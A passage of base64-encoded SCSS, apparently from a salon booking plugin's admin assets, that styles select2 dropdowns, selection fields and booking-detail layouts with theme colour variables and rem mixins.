HRcdGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG5cdFx0Ym9yZGVyLXRvcDogMXB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG5cdFx0Ym9yZGVyOiBub25lO1xuXHRcdGRpc3BsYXk6IGdyaWQ7XG5cdFx0Z3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiBhdXRvIHNldHRpbmdzLW1peGlucy5yZW0oMzZweCk7XG5cdFx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0XHQvKiBGSVggMDkyMDIzICovXG5cdFx0Jjo6YWZ0ZXIge1xuXHRcdFx0Y29sb3I6IHRyYW5zcGFyZW50O1xuXHRcdFx0Y29udGVudDogXCIgXFxmMDBjXCI7XG5cdFx0XHR0cmFuc2l0aW9uOiBhbGwgMC4xNXM7XG5cdFx0XHRiYWNrZmFjZS12aXNpYmlsaXR5OiBoaWRkZW47XG5cdFx0XHRvcGFjaXR5OiAxO1xuXHRcdFx0QGV4dGVuZCAlZm9udC1pY29uO1xuXHRcdFx0Zm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDIwcHgpO1xuXHRcdFx0bGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oMzZweCk7XG5cdFx0XHR0ZXh0LWFsaWduOiBjZW50ZXI7XG5cdFx0fVxuXHR9XG5cdC5zZWxlY3QyLWNvbnRhaW5lci5zZWxlY3QyLWNvbnRhaW5lci0tc2xuXG5cdFx0LnNlbGVjdDItcmVzdWx0c19fb3B0aW9uLS1oaWdobGlnaHRlZFthcmlhLXNlbGVjdGVkXSB7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodGVyO1xuXHRcdGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG5cdFx0Jjo6YWZ0ZXIge1xuXHRcdFx0Y29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbWVkaXVtO1xuXHRcdH1cblx0fVxuXHQuc2VsZWN0Mi1jb250YWluZXIuc2VsZWN0Mi1jb250YWluZXItLXNsblxuXHRcdC5zZWxlY3QyLXJlc3VsdHNfX29wdGlvblthcmlhLXNlbGVjdGVkPVwidHJ1ZVwiXSB7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcblx0XHRjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuXHRcdCY6OmFmdGVyIHtcblx0XHRcdGNvbG9yOiBjdXJyZW50Q29sb3I7XG5cdFx0fVxuXHR9XG5cdC5zZWxlY3QyLWNvbnRhaW5lci5zZWxlY3QyLWNvbnRhaW5lci0tc2xuIC5zZWxlY3QyLXNlYXJjaC0tZHJvcGRvd24ge1xuXHRcdHBhZGRpbmc6IDA7XG5cdH1cblx0LnNlbGVjdDItY29udGFpbmVyLnNlbGVjdDItY29udGFpbmVyLS1zbG5cblx0XHQuc2VsZWN0Mi1zZWFyY2gtLWRyb3Bkb3duXG5cdFx0LnNlbGVjdDItc2VhcmNoX19maWVsZCB7XG5cdFx0d2lkdGg6IGNhbGMoMTAwJSArIDJweCk7XG5cdFx0bWFyZ2luOiAtMXB4IC0xcHggMCAtMXB4O1xuXHRcdGJvcmRlci1yYWRpdXM6IDA7XG5cdFx0LXdlYmtpdC1ib3gtc2hhZG93OiBub25lO1xuXHRcdGJveC1zaGFkb3c6IG5vbmU7XG5cdFx0Ym9yZGVyLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuXHRcdGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG5cdFx0QGV4dGVuZCAlZm9udC1iaWdnZXI7XG5cdFx0QGV4dGVuZCAlZm9udC1jbF9tYWluO1xuXHRcdGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgyMXB4KTtcblx0XHRwYWRkaW5nOiBzZXR0aW5ncy1taXhpbnMucmVtKDE1cHgpO1xuXHRcdEBpbmNsdWRlIGFkbWluX2NvbmZpZy5wbGFjZWhvbGRlci1jb2xvcihhZG1pbl9jb25maWcuJGNsX21haW4tLW1lZGl1bSk7XG5cdFx0Y29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcblx0XHR0cmFuc2l0aW9uOlxuXHRcdFx0Ym9yZGVyLWNvbG9yIDEwMG1zLFxuXHRcdFx0YmFja2dyb3VuZC1jb2xvciAyNTBtcztcblx0XHRib3JkZXItdG9wLXdpZHRoOiAxcHg7XG5cdFx0Ym9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7XG5cdFx0Ym9yZGVyLWJvdHRvbS13aWR0aDogMXB4O1xuXHRcdGJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7XG5cdFx0Jjpob3Zlcixcblx0XHQmOmZvY3VzIHtcblx0XHRcdGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHRlcjtcblx0XHRcdG91dGxpbmU6IG5vbmU7XG5cdFx0XHRAZXh0ZW5kICVmb250LWNsX21haW4tLWVtcGhhc2lzO1xuXHRcdFx0Y29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tZW1waGFzaXM7XG5cdFx0XHRib3JkZXItY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tZW1waGFzaXM7XG5cdFx0XHRib3JkZXItY29sb3I6IGFkbWluX2NvbmZpZy4kc2xuLWNvbG9yLS1lbXBoYXNpcy0taG92ZXI7XG5cdFx0XHQtd2Via2l0LWJveC1zaGFkb3c6XG5cdFx0XHRcdGluc2V0IDAgMXB4IDFweCByZ2JhKDAsIDAsIDAsIDAuMDc1KSxcblx0XHRcdFx0MCAwIDhweCByZ2JhKDEwMiwgMTc1LCAyMzMsIDAuNik7XG5cdFx0XHRib3gtc2hhZG93OlxuXHRcdFx0XHRpbnNldCAwIDFweCAxcHhcblx0XHRcdFx0XHRhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoXG5cdFx0XHRcdFx0XHRhZG1pbl9jb25maWcuJGNsX21haW4tLWVtcGhhc2lzLFxuXHRcdFx0XHRcdFx0MC4wNlxuXHRcdFx0XHRcdCksXG5cdFx0XHRcdDAgMCA4cHhcblx0XHRcdFx0XHRhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoXG5cdFx0XHRcdFx0XHRhZG1pbl9jb25maWcuJGNsX21haW4tLWVtcGhhc2lzLFxuXHRcdFx0XHRcdFx0MC4xXG5cdFx0XHRcdFx0KTtcblx0XHR9XG5cdH1cblx0LnNlbGVjdDItcmVzdWx0cyB7XG5cdFx0Zm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDIxcHgpO1xuXHR9XG59XG4vKiBBRE1JTiBEUk9QRE9XTiAvLyBFTkQgKi9cbi8qIEFETUlOIEJPT0tJTkcgREVUQUlMUyAqL1xuLy8jc2xuLXNhbG9uLS1hZG1pbiAjc2xuX2Jvb2tpbmctZGV0YWlscyxcbiNzbG4tc2Fsb24tLWFkbWluIHtcblx0LnNlbGVjdDItc2VsZWN0aW9uLS1zaW5nbGUsXG5cdC5zZWxlY3QyLXNlbGVjdGlvbi0tbXVsdGlwbGUge1xuXHRcdGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuXHRcdGJvcmRlcjogMXB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG5cdFx0Ym9yZGVyLXJhZGl1czogNXB4O1xuXHRcdC8vZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDE5cHgsIDE2cHgpO1xuXHR9XG5cdCNzbG4tdXBkYXRlLXVzZXItZmllbGQgKyAuc2VsZWN0Mi1jb250YWluZXItLXNsbiB7XG5cdFx0LnNlbGVjdDItc2VsZWN0aW9uLS1zaW5nbGUsXG5cdFx0LnNlbGVjdDItc2VsZWN0aW9uLS1tdWx0aXBsZSB7XG5cdFx0XHRmb250LXNpemU6IDEuMTI1cmVtO1xuXHRcdFx0Zm9udC13ZWlnaHQ6IG5vcm1hbDtcblx0XHRcdC5zZWxlY3QyLXNlbGVjdGlvbl9fcmVuZGVyZWQge1xuXHRcdFx0XHRmb250LXdlaWdodDogbm9ybWFsO1xuXHRcdFx0fVxuXHRcdH1cblx0fVxuXHQuc2VsZWN0Mi1jb250YWluZXIuc2VsZWN0Mi1jb250YWluZXItLXNsblxuXHRcdC5zZWxlY3QyLXNlbGVjdGlvbi0tc2luZ2xlOmhvdmVyXG5cdFx0LnNlbGVjdDItc2VsZWN0aW9uX19yZW5kZXJlZCxcblx0LnNlbGVjdDItY29udGFpbmVyLnNlbGVjdDItY29udGFpbmVyLS1zbG5cblx0XHQuc2VsZWN0Mi1zZWxlY3Rpb24tLXNpbmdsZTpmb2N1c1xuXHRcdC5zZWxlY3QyLXNlbGVjdGlvbl9fcmVuZGVyZWQsXG5cdC5zZWxlY3QyLWNvbnRhaW5lci5zZWxlY3QyLWNvbnRhaW5lci0tc2xuXG5cdFx0LnNlbGVjdDItc2VsZWN0aW9uLS1tdWx0aXBsZTpob3ZlclxuXHRcdC5zZWxlY3QyLXNlbGVjdGlvbl9fcmVuZGVyZWQsXG5cdC5zZWxlY3QyLWNvbnRhaW5lci5zZWxlY3QyLWNvbnRhaW5lci0tc2xuXG5cdFx0LnNlbGVjdDItc2VsZWN0aW9uLS1tdWx0aXBsZTpmb2N1c1xuXHRcdC5zZWxlY3QyLXNlbGVjdGlvbl9fcmVuZGVyZWQsXG5cdC5zZWxlY3QyLWNvbnRhaW5lci5zZWxlY3QyLWNvbnRhaW5lci0tc2xuLnNlbGVjdDItY29udGFpbmVyLS1vcGVuXG5cdFx0LnNlbGVjdDItc2VsZWN0aW9uLS1zaW5nbGVcblx0XHQuc2VsZWN0Mi1zZWxlY3Rpb25fX3JlbmRlcmVkLFxuXHQuc2VsZWN0Mi1jb250YWluZXIuc2VsZWN0Mi1jb250YWluZXItLXNsbi5zZWxlY3QyLWNvbnRhaW5lci0tb3BlblxuXHRcdC5zZWxlY3QyLXNlbGVjdGlvbi0tbXVsdGlwbGVcblx0XHQuc2VsZWN0Mi1zZWxlY3Rpb25fX3JlbmRlcmVkIHtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0ZXI7XG5cdFx0b3V0bGluZTogbm9uZTtcblx0XHRib3JkZXItcmFkaXVzOiA1cHg7XG5cdFx0QGV4dGVuZCAlZm9udC1jbF9tYWluLS1lbXBoYXNpcztcblx0XHQvL2NvbG9yOiAkY2xfbWFpbi0tZW1waGFzaXM7XG5cdFx0Ym9yZGVyLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWVtcGhhc2lzO1xuXHRcdGJvcmRlci1jb2xvcjogYWRtaW5fY29uZmlnLiRzbG4tY29sb3ItLWVtcGhhc2lzLS1ob3Zlcjtcblx0XHQtd2Via2l0LWJveC1zaGFkb3c6XG5cdFx0XHRpbnNldCAwIDFweCAxcHggcmdiYSgwLCAwLCAwLCAwLjA3NSksXG5cdFx0XHQwIDAgOHB4IHJnYmEoMTAyLCAxNzUsIDIzMywgMC42KTtcblx0XHRib3gtc2hhZG93OlxuXHRcdFx0aW5zZXQgMCAxcHggMXB4XG5cdFx0XHRcdGFkbWluX2NvbmZpZy5hbHBoYS10b25lcyhhZG1pbl9jb25maWcuJGNsX21haW4tLWVtcGhhc2lzLCAwLjA2KSxcblx0XHRcdDAgMCA4cHhcblx0XHRcdFx0YWRtaW5fY29uZmlnLmFscGhhLXRvbmVzKGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tZW1waGFzaXMsIDAuMSk7XG5cdFx0KyAuc2VsZWN0Mi1zZWxlY3Rpb25fX2Fycm93OjpiZWZvcmUge1xuXHRcdFx0Y29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcblx0XHR9XG5cdH1cblx0LnNlbGVjdDItY29udGFpbmVyLnNlbGVjdDItY29udGFpbmVyLS1zbG4ge1xuXHRcdC5zZWxlY3QyLXNlbGVjdGlvbi0tc2luZ2xlIHtcblx0XHRcdGhlaWdodDogMy4zM3JlbTtcblx0XHRcdGxpbmUtaGVpZ2h0OiAzLjMzcmVtO1xuXHRcdH1cblx0XHQuc2VsZWN0Mi1zZWxlY3Rpb24tLXNpbmdsZSAuc2VsZWN0Mi1zZWxlY3Rpb25fX3JlbmRlcmVkIHtcblx0XHRcdGxpbmUtaGVpZ2h0OiAzLjJyZW07XG5cdFx0XHRwYWRkaW5nLWxlZnQ6IDFyZW07XG5cdFx0XHRwYWRkaW5nLXJpZ2h0OiAxcmVtO1xuXHRcdH1cblx0XHQuc2VsZWN0Mi1zZWxlY3Rpb24tLW11bHRpcGxlIHtcblx0XHRcdG1pbi1oZWlnaHQ6IDMuMzNyZW07XG5cdFx0fVxuXHRcdC5zZWxlY3QyLXNlbGVjdGlvbl9fcmVuZGVyZWQgc3BhbiArIHNwYW4ge1xuXHRcdFx0Zm9udC13ZWlnaHQ6IG5vcm1hbDtcblx0XHR9XG5cdFx0LnNlbGVjdDItc2VsZWN0aW9uX19yZW5kZXJlZCBzcGFuOmZpcnN0LWNoaWxkIHtcblx0XHRcdHBhZGRpbmctcmlnaHQ6IDFyZW07XG5cdFx0fVxuXHRcdCY6aG92ZXIsXG5cdFx0Jjpmb2N1cyB7XG5cdFx0XHQuc2VsZWN0Mi1zZWxlY3Rpb25fX3JlbmRlcmVkIHtcblx0XHRcdFx0bGluZS1oZWlnaHQ6IDMuMnJlbTtcblx0XHRcdH1cblx0XHRcdHVsLnNlbGVjdDItc2VsZWN0aW9uX19yZW5kZXJlZCB7XG5cdFx0XHRcdGxpbmUtaGVpZ2h0OiAxLjI1cmVtO1xuXHRcdFx0fVxuXHRcdH1cblx0XHQmLnNlbGVjdDItY29udGFpbmVyLS1vcGVuIHtcblx0XHRcdC5zZWxlY3QyLXNlbGVjdGlvbi0tc2luZ2xlLFxuXHRcdFx0LnNlbGVjdDItc2VsZWN0aW9uLS1tdWx0aXBsZSB7XG5cdFx0XHRcdGJvcmRlcjogMXB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbnUtLWhpZ2hlbXBoYTtcblx0XHRcdFx0LnNlbGVjdDItc2VsZWN0aW9uX19yZW5kZXJlZCB7XG5cdFx0XHRcdFx0YmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcblx0XHRcdFx0XHRsaW5lLWhlaWdodDogMy4zM3JlbTtcblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdH1cblx0XHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuXHRcdFx0LnNlbGVjdDItc2VsZWN0aW9uLS1zaW5nbGUge1xuXHRcdFx0XHQvL2hlaWdodDogMi41cmVtO1xuXHRcdFx0XHQvL2xpbmUtaGVpZ2h0OiAyLjVyZW07XG5cdFx0XHR9XG5cdFx0XHQuc2VsZWN0Mi1zZWxlY3Rpb24tLXNpbmdsZSAuc2VsZWN0Mi1zZWxlY3Rpb25fX3JlbmRlcmVkIHtcblx0XHRcdFx0Ly9saW5lLWhlaWdodDogMi4zMzMzMzMzMzMzcmVtO1xuXHRcdFx0fVxuXHRcdFx0LnNlbGVjdDItc2VsZWN0aW9uLS1zaW5nbGUgLnNlbGVjdDItc2VsZWN0aW9uX19yZW5kZXJlZCB7XG5cdFx0XHRcdHBhZGRpbmctbGVmdDogMWVtO1xuXHRcdFx0XHRwYWRkaW5nLXJpZ2h0OiAxLjRlbTtcblx0XHRcdH1cblx0XHRcdC5zZWxlY3QyLXNlbGVjdGlvbi0tbXVsdGlwbGUge1xuXHRcdFx0XHRtaW4taGVpZ2h0OiAyLjVyZW07XG5cdFx0XHRcdC5zZWxlY3QyLXNlbGVjdGlvbl9fcmVuZGVyZWQge1xuXHRcdFx0XHRcdHBhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oOXB4KSBzZXR0aW5ncy1taXhpbnMucmVtKDEwcHgpXG5cdFx0XHRcdFx0XHRzZXR0aW5ncy1taXhpbnMucmVtKDRweCkgc2V0dGluZ3MtbWl4aW5zLnJlbSgxMHB4KTtcblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdFx0Jjpob3Zlcixcblx0XHRcdCY6Zm9jdXMge1xuXHRcdFx0XHQuc2VsZWN0Mi1zZWxlY3Rpb25fX3JlbmRlcmVkIHtcblx0XHRcdFx0XHQvL2xpbmUtaGVpZ2h0OiAyLjMzMzMzMzMzMzNyZW07XG5cdFx0XHRcdH1cblx0XHRcdFx0dWwuc2VsZWN0Mi1zZWxlY3Rpb25fX3JlbmRlcmVkIHtcblx0XHRcdFx0XHRsaW5lLWhlaWdodDogMS4yNXJlbTtcblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdFx0Ji5zZWxlY3QyLWNvbnRhaW5lci0tb3BlbiB7XG5cdFx0XHRcdC5zZWxlY3QyLXNlbGVjdGlvbi0tc2luZ2xlLFxuXHRcdFx0XHQuc2VsZWN0Mi1zZWxlY3Rpb24tLW11bHRpcGxlIHtcblx0XHRcdFx0XHRib3JkZXI6IDFweCBzb2xpZCBhZG1pbl9jb25maWcuJGNsX251LS1oaWdoZW1waGE7XG5cdFx0XHRcdFx0LnNlbGVjdDItc2VsZWN0aW9uX19yZW5kZXJlZCB7XG5cdFx0XHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuXHRcdFx0XHRcdFx0Ly9saW5lLWhlaWdodDogMi4zMzMzMzMzMzMzcmVtO1xuXHRcdFx0XHRcdH1cblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdH1cblx0fVxuXHQvKiBBRE1JTiBCT09LSU5HIERFVEFJTFMgLy8gRU5EICovXG59XG4jc2xuLXNhbG9uLS1hZG1pbiAjc2xuX2Jvb2tpbmctZGV0YWlscyAuc2xuLWJvb2tpbmctc2VydmljZS1saW5lIHtcblx0Ly9ib3JkZXItYm90dG9tOiAxcHggc29saWQgJGNsX2dyZXktLWxpZ2h0ZXI7XG5cdC8vbWFyZ2luLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSgyMHB4KTtcblx0LnNsbi1zZWxlY3Qge1xuXHRcdC8vbWFyZ2luLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSgyMHB4KTtcblx0fVxuXHQvKiBGSVggMDkyMDIzIFxuXHQuc2VsZWN0Mi1jb250YWluZXItLXNsbiB7XG5cdFx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdH1cblx0Ki9cblxuXHQvKiBGSVggMDkyMDIzXG5cdC5zZWxlY3QyLWNvbnRhaW5lci5zZWxlY3QyLWNvbnRhaW5lci0tc2xuIC5zZWxlY3QyLXNlbGVjdGlvbl9fYXJyb3cge1xuXHRcdGRpc3BsYXk6IG5vbmU7XG5cdH1cblx0Ki9cbn1cbi8qIEFETUlOIEJPT0tJTkcgREVUQUlMUyBEUk9QRE9XTiAqL1xuYm9keS5wb3N0LXR5cGUtc2xuX2Jvb2tpbmc6bm90KC5zbG4tc2Fsb24tcGFnZSlcblx0LnNlbGVjdDItY29udGFpbmVyLnNlbGVjdDItY29udGFpbmVyLS1zbG4ge1xuXHQuc2VsZWN0Mi1kcm9wZG93biB7XG5cdFx0Ym9yZGVyOiAxcHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9udS0taGlnaGVtcGhhO1xuXHRcdG1hcmdpbi10b3A6IHNldHRpbmdzLW1peGlucy5yZW0oNnB4KTtcblx0XHQuc2VsZWN0Mi1zZWFyY2gtLWRyb3Bkb3duIHtcblx0XHRcdHBhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oN3B4KSBzZXR0aW5ncy1taXhpbnMucmVtKDZweCk7XG5cdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2lucHV0LS1mb2N1cztcblx0XHR9XG5cdFx0LnNlbGVjdDItc2VhcmNoX19maWVsZCB7XG5cdFx0XHRtYXJnaW46IDA7XG5cdFx0XHRib3JkZXItcmFkaXVzOiAwO1xuXHRcdFx0Ym9yZGVyLWNvbG9yOiB0cmFuc3BhcmVudDtcblx0XHRcdCY6Zm9jdXMsXG5cdFx0XHQmOmhvdmVyIHtcblx0XHRcdFx0YmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodGVyO1xuXHRcdFx0XHRvdXRsaW5lOiBub25lO1xuXHRcdFx0XHRAZXh0ZW5kICVmb250LWNsX21haW4tLWVtcGhhc2lzO1xuXHRcdFx0XHRjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1lbXBoYXNpcztcblx0XHRcdFx0Ym9yZGVyLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWVtcGhhc2lzO1xuXHRcdFx0XHRib3JkZXItY29sb3I6IGFkbWluX2NvbmZpZy4kc2xuLWNvbG9yLS1lbXBoYXNpcy0taG92ZXI7XG5cdFx0XHRcdC13ZWJraXQtYm94LXNoYWRvdzpcblx0XHRcdFx0XHRpbnNldCAwIDFweCAxcHggcmdiYSgwLCAwLCAwLCAwLjA3NSksXG5cdFx0XHRcdFx0MCAwIDhweCByZ2JhKDEwMiwgMTc1LCAyMzMsIDAuNik7XG5cdFx0XHRcdGJveC1zaGFkb3c6XG5cdFx0XHRcdFx0aW5zZXQgMCAxcHggMXB4XG5cdFx0XHRcdFx0XHRhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoXG5cdFx0XHRcdFx0XHRcdGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tZW1waGFzaXMsXG5cdFx0XHRcdFx0XHRcdDAuMDZcblx0XHRcdFx0XHRcdCksXG5cdFx0XHRcdFx0MCAwIDhweFxuXHRcdFx0XHRcdFx0YWRtaW5fY29uZmlnLmFscGhhLXRvbmVzKFxuXHRcdFx0XHRcdFx0XHRhZG1pbl9jb25maWcuJGNsX21haW4tLWVtcGhhc2lzLFxuXHRcdFx0XHRcdFx0XHQwLjFcblx0XHRcdFx0XHRcdCk7XG5cdFx0XHRcdCsgLnNlbGVjdDItc2VsZWN0aW9uX19hcnJvdzo6YmVmb3JlIHtcblx0XHRcdFx0XHRjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuXHRcdFx0XHR9XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5cdC5zZWxlY3QyLXJlc3VsdHNfX29wdGlvbiB7XG5cdFx0bWFyZ2luLWJvdHRvbTogMDtcblx0XHRwYWRkaW5nOiBzZXR0aW5ncy1taXhpbnMucmVtKDE1cHgpO1xuXHRcdGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfaW5wdXQtLWZvY3VzO1xuXHRcdGJvcmRlci10b3A6IG5vbmU7XG5cdFx0Ym9yZGVyOiBub25lO1xuXHRcdGRpc3BsYXk6IGdyaWQ7XG5cdFx0Z3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiBhdXRvIHNldHRpbmdzLW1peGlucy5yZW0oMzZweCk7XG5cdFx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0XHQmOjphZnRlciB7XG5cdFx0XHRjb2xvcjogdHJhbnNwYXJlbnQ7XG5cdFx0XHRjb250ZW50OiBcIiBcXGYwMGNcIjtcblx0XHRcdHRyYW5zaXRpb246IGFsbCAwLjE1cztcblx0XHRcdGJhY2tmYWNlLXZpc2liaWxpdHk6IGhpZGRlbjtcblx0XHRcdG9wYWNpdHk6IDE7XG5cdFx0XHRAZXh0ZW5kICVmb250LWljb247XG5cdFx0XHRmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMjBweCk7XG5cdFx0XHRsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSgzNnB4KTtcblx0XHRcdHRleHQtYWxpZ246IGNlbnRlcjtcblx0XHR9XG5cdFx0Jjpmb2N1cyxcblx0XHQmLnNlbGVjdDItcmVzdWx0c19fb3B0aW9uLS1oaWdobGlnaHRlZFthcmlhLXNlbGVjdGVkXSxcblx0XHQmLnNlbGVjdDItcmVzdWx0c19fb3B0aW9uW2FyaWEtc2VsZWN0ZWQ9XCJ0cnVlXCJdIHtcblx0XHRcdGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfaW5wdXQtLWZvY3VzLS1mb2N1cztcblx0XHRcdGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2lucHV0LS10ZXh0O1xuXHRcdH1cblx0XHQmLnNlbGVjdDItcmVzdWx0c19fb3B0aW9uW2FyaWEtc2VsZWN0ZWQ9XCJ0cnVlXCJdIHtcblx0XHRcdCY6OmFmdGVyIHtcblx0XHRcdFx0Y29sb3I6IGN1cnJlbnRDb2xvcjtcblx0XHRcdH1cblx0XHR9XG5cdFx0Ji5zZWxlY3QyLXJlc3VsdHNfX29wdGlvbi0tc3RsIHtcblx0XHRcdHBhZGRpbmc6IDEuNnJlbSAwLjYyNXJlbTtcblx0XHRcdGJvcmRlci10b3A6IDJweCBzb2xpZCAjZmZmO1xuXHRcdFx0c3BhbltkYXRhLXZhbHVlXSB7XG5cdFx0XHRcdGRpc3BsYXk6IGdyaWQ7XG5cdFx0XHRcdC8vZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiA0MiUgMzAlIDI4JTtcblx0XHRcdFx0Z3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiBhdXRvO1xuXHRcdFx0XHRncmlkLXRlbXBsYXRlLXJvd3M6IGF1dG87XG5cdFx0XHRcdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdFx0XHRcdHNwYW46bnRoLWNoaWxkKDEpIHtcblx0XHRcdFx0XHRncmlkLWNvbHVtbjogMSAvIHNwYW4gMjtcblx0XHRcdFx0XHRncmlkLXJvdzogMTtcblx0XHRcdFx0XHRmb250LXNpemU6IDAuODc1cmVtO1xuXHRcdFx0XHRcdG9wYWNpdHk6IDAuNzU7XG5cdFx0XHRcdFx0Jjpub3QoOmVtcHR5KSB7XG5cdFx0XHRcdFx0XHRwYWRkaW5nLWJvdHRvbTogMXJlbTtcblx0XHRcdFx0XHR9XG5cdFx0XHRcdH1cblx0XHRcdFx0c3BhbjpudGgtY2hpbGQoMikge1xuXHRcdFx0XHRcdGdyaWQtY29sdW1uOiAxO1xuXHRcdFx0XHRcdGdyaWQtcm93OiAyO1xuXHRcdFx0XHRcdHBhZGRpbmctcmlnaHQ6IDFyZW07XG5cdFx0XHRcdFx0Zm9udC13ZWlnaHQ6IGJvbGQ7XG5cdFx0XHRcdH1cblx0XHRcdFx0c3BhbjpudGgtY2hpbGQoMykge1xuXHRcdFx0XHRcdGdyaWQtY29sdW1uOiAyO1xuXHRcdFx0XHRcdGdyaWQtcm93OiAyO1xuXHRcdFx0XHR9XG5cdFx0XHRcdHNwYW46bnRoLWNoaWxkKDQpIHtcblx0XHRcdFx0XHRncmlkLWNvbHVtbjogMSAvIHNwYW4gMztcblx0XHRcdFx0XHRncmlkLXJvdzogMztcblx0XHRcdFx0XHRwYWRkaW5nLXRvcDogMXJlbTtcblx0XHRcdFx0fVxuXHRcdFx0XHQvLy8vQGluY2x1ZGUgYnAodGFibGV0KSB7XG5cdFx0XHRcdEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1pbi13aWR0aDogMTgwMHB4KSB7XG5cdFx0XHRcdFx0Z3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiA0MCUgMzAlIDMwJTtcblx0XHRcdFx0XHRncmlkLWdhcDogMXJlbTtcblx0XHRcdFx0XHRwYWRkaW5nLXJpZ2h0OiAxcmVtO1xuXHRcdFx0XHRcdHNwYW46bnRoLWNoaWxkKDEpIHtcblx0XHRcdFx0XHRcdGdyaWQtY29sdW1uOiAxIC8gc3BhbiAzO1xuXHRcdFx0XHRcdFx0Z3JpZC1yb3c6IDE7XG5cdFx0XHRcdFx0XHQvL2ZvbnQtc2l6ZTogaW5oZXJpdDtcblx0XHRcdFx0XHRcdC8vb3BhY2l0eTogMTtcblx0XHRcdFx0XHRcdCY6bm90KDplbXB0eSkge1xuXHRcdFx0XHRcdFx0XHQvL3BhZGRpbmctYm90dG9tOiAwO1xuXHRcdFx0XHRcdFx0fVxuXHRcdFx0XHRcdH1cblx0XHRcdFx0XHRzcGFuOm50aC1jaGlsZCgyKSB7XG5cdFx0XHRcdFx0XHRncmlkLWNvbHVtbjogMTtcblx0XHRcdFx0XHRcdGdyaWQtcm93OiAyO1xuXHRcdFx0XHRcdH1cblx0XHRcdFx0XHRzcGFuOm50aC1jaGlsZCgzKSB7XG5cdFx0XHRcdFx0XHRncmlkLWNvbHVtbjogMjtcblx0XHRcdFx0XHRcdGdyaWQtcm93OiAyO1xuXHRcdFx0XHRcdH1cblx0XHRcdFx0XHRzcGFuOm50aC1jaGlsZCg0KSB7XG5cdFx0XHRcdFx0XHRncmlkLWNvbHVtbjogMztcblx0XHRcdFx0XHRcdGdyaWQtcm93OiAyO1xuXHRcdFx0XHRcdFx0cGFkZGluZy10b3A6IDA7XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHR9XG5cdFx0XHR9XG5cdFx0XHQuc2xuL